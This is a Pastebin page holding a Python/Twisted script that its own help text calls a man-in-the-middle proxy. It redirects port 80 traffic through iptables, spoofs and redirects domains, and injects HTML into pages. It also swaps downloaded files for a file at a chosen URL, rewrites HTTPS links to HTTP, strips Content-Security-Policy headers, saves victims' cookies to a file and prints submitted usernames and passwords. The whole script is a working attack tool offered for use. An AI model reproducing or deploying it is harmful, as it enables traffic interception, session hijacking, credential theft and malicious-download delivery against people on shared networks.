SHARE
TWEET

Tidied up a bit

JSchmoe Mar 10th, 2016 (edited) 280 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. #Blah, blah, copyright, GNU. Pls copy all you want.
  3. from twisted.web.server import NOT_DONE_YET
  4. from twisted.web import http
  5. from twisted.internet import reactor, protocol
  6. import re, sys, os, gzip, argparse, zlib
  7.  
  8. #Terminal colors
  9. V = '\033[95m'
  10. B = '\033[94m'
  11. G = '\033[92m'
  12. Y = '\033[93m'
  13. R = '\033[91m'
  14. W = '\033[0m'
  15. BOLD = '\033[1m'
  16. UNDERLINE = '\033[4m'
  17.  
  18. #set up iptables
  19. os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080")
  20. #os.system("iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080")
  21.  
  22. def parse_args():
  23.     parser = argparse.ArgumentParser(description="Man in the middle proxy.")
  24.     parser.add_argument("--spoof-domain", help="comma-separated list of domains, each domain corresponds to one domain in spoof-with", metavar="<domain>")
  25.     parser.add_argument("--spoof-with", help="comma-separated list of domains. use the prefix 'file:' to use a local file", metavar="<domain>")
  26.     parser.add_argument("--redirect", help="redirect using HTTP 302 code", metavar="<domain>")
  27.     parser.add_argument("--redirect-to", help="redirect to here using HTTP 302 code", metavar="<domain>")
  28.     parser.add_argument("--add-html", help="add html to browsed pages", metavar="<code>")
  29.     parser.add_argument("--replace-images", help="replace images with the image in the link", metavar="<link>")
  30.     parser.add_argument("--ide", help="intercept files with the given extension", metavar="<extension>")
  31.     parser.add_argument("--idu", help="url with target file", metavar="<url>")
  32.     parser.add_argument("--block", help="comma-separated list of domains to block", metavar="<domains>")
  33.     parser.add_argument("--block-message", help="message to show when a website is blocked", metavar="<message>")
  34.     parser.add_argument("--save-cookies", help="save cookies to cookies.txt", action='store_true')
  35.     parser.add_argument("--show-cookies", help="print cookies to terminal", action='store_true')
  36.     parser.add_argument("--show-headers", help="print headers to terminal", action='store_true')
  37.     return parser.parse_args()
  38.    
  39. args = parse_args()
  40. if args.spoof_domain or args.spoof_with:
  41.     if not args.spoof_domain:
  42.         sys.exit("spoof-domain missing")
  43.     elif not args.spoof_with:
  44.         sys.exit("spoof-with missing")
  45. try:
  46.     global domain_list
  47.     domain_list = zip(args.spoof_domain.split(","), args.spoof_with.split(","))
  48.     print(domain_list)
  49. except:
  50.     pass
  51.  
  52. if args.block:
  53.     global block
  54.     block = args.block.split("/")
  55.        
  56. if args.ide or args.idu:
  57.     if not args.ide:
  58.         sys.exit("ide missing")
  59.     elif not args.idu:
  60.         sys.exit("idu missing")
  61.        
  62. if args.replace_images:
  63.     args.replace_images = args.replace_images.replace("http://","")
  64.     if not args.replace_images.startswith("www."):
  65.         args.replace_images = "www."+args.replace_images
  66.  
  67. try:
  68.     class ProxyClient(http.HTTPClient):
  69.         def __init__(self, method, uri, postData, headers, originalRequest):
  70.             self.method = method
  71.             self.uri = uri
  72.             self.postData = postData
  73.             self.headers = headers
  74.             self.originalRequest = originalRequest
  75.             self.contentLength = None
  76.  
  77.         def sendRequest(self):
  78.             self.sendCommand(self.method, self.uri)
  79.  
  80.         def sendHeaders(self):
  81.             for key, values in self.headers:
  82.                 if args.show_headers:
  83.                     try:
  84.                         print(key, value)
  85.                     except:
  86.                         pass
  87.                 if key.lower() == 'connection':
  88.                     values = ['close']
  89.                 elif key.lower() == 'keep-alive':
  90.                     next
  91.                 elif key.lower() == 'content-security-policy':
  92.                     value = ['']
  93.                 elif key.lower() == 'cookie':
  94.                     if args.show_cookies:
  95.                         print(key, values)
  96.                     if args.save_cookies:
  97.                         global host
  98.                         with open("cookies.txt","a+") as f:
  99.                             if host not in f.read():
  100.                                 f.write("Host: "+host+"\n")
  101.                                 for line in values:
  102.                                     for cookie in line.split(";"):
  103.                                         f.write("\t"+cookie.strip()+"\n")
  104.                 elif key.lower() == 'accept-encoding':
  105.                     values = ['gzip'] #Ask sites to return gzipped pages
  106.  
  107.                 for value in values:
  108.                     self.sendHeader(key, value)
  109.             self.endHeaders()
  110.  
  111.         def sendPostData(self):
  112.             self.transport.write(self.postData)
  113.  
  114.         def connectionMade(self):
  115.             self.sendRequest()
  116.             self.sendHeaders()
  117.             if self.method == 'POST':
  118.                 self.sendPostData()
  119.  
  120.         def handleStatus(self, version, code, message):
  121.             if code.startswith("4"):
  122.                 print(R+"<- "+version+" "+code+" "+message+W)
  123.             elif code.startswith("2"): #Print server response
  124.                 print(G+"<- "+version+" "+code+" "+message+W)
  125.             elif code == "301":
  126.                 print(BOLD+R+"<- "+version+" "+code+" "+message+W)
  127.             else:
  128.                 print(B+"<- "+version+" "+code+" "+message+W)
  129.             self.originalRequest.setResponseCode(int(code), message)
  130.  
  131.         def handleHeader(self, key, value):
  132.             if args.show_headers:
  133.                 print(key, value)
  134.             if key.lower() == 'content-length':
  135.                 self.contentLength = value
  136.             elif key.lower() == 'content-security-policy':
  137.                 value = ['']
  138.             elif key.lower() == 'cookie':
  139.                 value = ['']
  140.             elif key.lower() == 'content-encoding':
  141.                 value = ['text/html; charset=utf-8']
  142.             else:       #Change text encoding to plaintext, since we decoded it
  143.                 self.originalRequest.responseHeaders.addRawHeader(key, value)
  144.  
  145.         def handleResponse(self, data):
  146.             data = self.originalRequest.processResponse(data)
  147.  
  148.             if self.contentLength != None:
  149.                 self.originalRequest.setHeader('Content-Length', len(data))
  150.             self.originalRequest.write(data)
  151.             try:
  152.                 self.originalRequest.finish()
  153.                 self.transport.loseConnection()
  154.             except:
  155.                 pass
  156.  
  157.     class ProxyClientFactory(protocol.ClientFactory):
  158.         def __init__(self, method, uri, postData, headers, originalRequest):
  159.             self.protocol = ProxyClient
  160.             self.method = method
  161.             self.uri = uri
  162.             self.postData = postData
  163.             self.headers = headers
  164.             self.originalRequest = originalRequest
  165.  
  166.         def buildProtocol(self, addr):
  167.             return self.protocol(self.method, self.uri, self.postData,
  168.                                  self.headers, self.originalRequest)
  169.  
  170.         def clientConnectionFailed(self, connector, reason):
  171.             self.originalRequest.setResponseCode(504)
  172.             try:
  173.                 self.originalRequest.finish()
  174.             except:
  175.                 pass
  176.  
  177.     class ProxyRequest(http.Request):
  178.         def __init__(self, channel, queued, reactor=reactor):
  179.             http.Request.__init__(self, channel, queued)
  180.             self.reactor = reactor
  181.         def process(self):
  182.             global uri
  183.             global domain_list
  184.             uri = self.uri
  185.             global host
  186.             spoofed = ""
  187.             host = self.getHeader('host')
  188.            
  189.             if not host:
  190.                 self.setResponseCode(400)
  191.                 self.finish()
  192.                 return
  193.            
  194.             if args.block:
  195.                 global block   
  196.                 for elem in block:
  197.                     if elem in host:
  198.                         print(Y+"-- Blocked "+host+W)
  199.                         self.setResponseCode(200)
  200.                         if args.block_message:
  201.                             self.write(args.block_message)
  202.                         self.finish()  
  203.                         return
  204.                        
  205.             if args.redirect:
  206.                 if str(args.redirect) in host:
  207.                     print(G+">> "+host+" -> "+V+str(args.redirect_to+W))
  208.                     self.setResponseCode(302)
  209.                     self.responseHeaders.addRawHeader("location", str(args.redirect_to))
  210.                     self.finish()
  211.                     return
  212.                        
  213.             local = False
  214.             localfilename = None
  215.             if args.spoof_domain and args.spoof_with:              
  216.                 for spoof_dom, spoof_with in domain_list:
  217.                     if str(spoof_dom) in host:
  218.                         spoofed = "SPOOFED FROM "+host+self.uri
  219.                         if spoof_with.startswith("file:"):
  220.                             local = True
  221.                             localfilename = spoof_with[5:]
  222.                             host = "LOCALFILE"
  223.                            
  224.                         else:
  225.                             host = spoof_with
  226.                
  227.             if args.ide:
  228.                 if self.uri.endswith(args.ide):
  229.                     host = args.idu.split("/")[0]
  230.                     self.uri = "/"+"/".join(args.idu.split("/")[1:])
  231.  
  232.             port = 80
  233.             if ':' in host:
  234.                 host, port = host.split(':')
  235.                 port = int(port)
  236.                
  237.                
  238.             imagetypes = ["image/gif","image/jpeg","image/png","image/ico"] #Values which show the browser is expecting an image
  239.             try:
  240.                 if self.getHeader('accept').split(',')[0] in imagetypes and args.replace_images:
  241.                 #Replace image links with this
  242.                     print(args.replace_images)
  243.                     spoofed = "SPOOFED FROM "+host+self.uri
  244.                     host = args.replace_images.split("/")[0]
  245.                     self.uri = "/"+"/".join(args.replace_images.split("/")[1:])
  246.             except:
  247.                 pass
  248.                
  249.                
  250.             self.setHost(host, port)
  251.             self.content.seek(0, 0)
  252.             postData = self.content.read()
  253.  
  254.             interestingFields = ["email", "user", "pass", "login", "password", "username"]
  255.             if self.method == "POST":
  256.                 print(BOLD+G+"-> "+self.method+" "+host+self.uri+W+" "+V+spoofed+W)
  257.                 if "ajax" not in self.uri:
  258.                     for element in postData.split("&"):
  259.                         if element.split("=")[0] in interestingFields:
  260.                             print("   "+BOLD+G+element+W)
  261.                    
  262.             else:
  263.                 print(B+"-> "+self.method+" "+host+self.uri+V+" "+spoofed+W)
  264.  
  265.             if local: #Are we replacing page with our local file?
  266.                 self.setResponseCode(200)
  267.                 self.write(open(localfilename,"r").read())
  268.                 self.finish()
  269.                 return
  270.                
  271.             factory = ProxyClientFactory(self.method, self.uri, postData,
  272.                                          self.requestHeaders.getAllRawHeaders(),
  273.                                          self)
  274.             self.reactor.connectTCP(host, port, factory)
  275.  
  276.         def processResponse(self, data):
  277.             try:
  278.                 gunzip_fail = False
  279.                 newdata = zlib.decompress(data, 16+zlib.MAX_WBITS) #Gunzip
  280.             except: #Try decompressing
  281.                 gunzip_fail = True
  282.             if not gunzip_fail: #Don't add html if failed gunzipping
  283.                 if args.add_html:
  284.                     newdata+=str(args.add_html)
  285.                 newdata = newdata.replace("https://","http://")#Strip https links
  286.                 return newdata
  287.                
  288.             else:
  289.                 #if str(args.add_code):
  290.                 #   data+=str(args.add_code)
  291.                 #data = data.replace("https://","http://")
  292.                 return data
  293.  
  294.     class TransparentProxy(http.HTTPChannel):
  295.         requestFactory = ProxyRequest
  296.  
  297.     class ProxyFactory(http.HTTPFactory):
  298.         protocol = TransparentProxy
  299.  
  300.     reactor.listenTCP(8080, ProxyFactory())
  301.     print("Running")
  302.     reactor.run()
  303. finally:
  304.     os.system("iptables -F")
  305.     os.system("iptables -X") #Remove everything from iptables
  306.     os.system("iptables -t nat -F")
  307.     os.system("iptables -t nat -X")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top